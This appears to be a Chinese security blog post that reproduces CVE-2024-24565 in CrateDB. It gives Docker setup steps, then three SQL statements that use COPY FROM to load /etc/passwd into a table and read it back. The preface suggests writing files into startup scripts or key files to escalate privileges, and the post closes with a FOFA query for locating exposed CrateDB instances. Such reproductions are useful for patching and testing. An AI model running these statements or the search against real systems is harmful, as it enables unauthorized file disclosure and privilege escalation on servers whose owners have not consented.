CVE-2024-24565 CrateDB数据库任意文件读取漏洞

本文介绍了CrateDB中的一个安全漏洞,攻击者可通过COPYFROM函数导入任意文件至数据库,导致敏感信息泄露。环境搭建部分包括使用Docker和调整sysctl设置。漏洞复现步骤详细展示了如何利用这个漏洞获取/etc/passwd内容。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录

前言

简介

​编辑

环境搭建

漏洞复现


前言

本次介绍的漏洞不同与以往, 本次洞更多是适用于利用数据库提权。

利用数据库的导入导出数据的功能,我们往往可以将内部的一些敏感文件如/etc/passwd导入到数据库进行查看。也可以将数据导入到一些特定的目录进行提权,如启动脚本任务,替换/etc/passwd,公钥文件.....,。这些都是数据库常规的提权思路,本次介绍的CrateDB就存在这样问题,除此之外它管理页面直接暴露在前端,无需身份校验。攻击者便可以直接执行sql语句。

简介

CrateDB 是一个分布式且可扩展的 SQL 数据库,用于近乎实时地存储和分析大量数据,甚至可以进行复杂的查询。它与 PostgreSQL 兼容,并且基于 Lucene。

CrateDB数据库中有一个COPYFROM函数,用于将文件数据导入到数据库表中。该功能有一个缺陷,通过身份验证的攻击者可以使用COPY FROM功能将任意文件内容导入到数据库表中,从而造成信息泄露。

官方文档参考

CrateDB Database Product Overview

Data manipulation — CrateDB: Reference

环境搭建

直接运行docker

sudo docker run --publish=4200:4200 --publish=5432:5432 --env CRATE_HEAP_SIZE=1g --pull=always crate:5.6.1

如果出现,下面的报错

[1]: max virtual memory areas vm.max_map_count [65530] is too low, increase to at least [262144] by adding vm.max_map_count = 262144 to /etc/sysctl.conf or invoking sysctl -w vm.max_map_count=262144

执行以下命令来临时修改 vm.max_map_count 的值:

sudo sysctl -w vm.max_map_count=262144

漏洞复现

打开前端管理页面

进入控制台执行sql命令

依次执行如下命令

CREATE TABLE info_leak(info_leak STRING);
COPY info_leak FROM '/etc/passwd' with (format='csv', header=false);
SELECT * FROM info_leak;

1.CREATE TABLE info_leak(info_leak STRING);

2.COPY info_leak FROM '/etc/passwd' with (format='csv', header=false);

3.SELECT * FROM info_leak;

成功查看到etc/passwd文件 漏洞验证成功。

附赠fofa语句

FOFA搜索语句

title="CrateDB"
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

昵称还在想呢

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值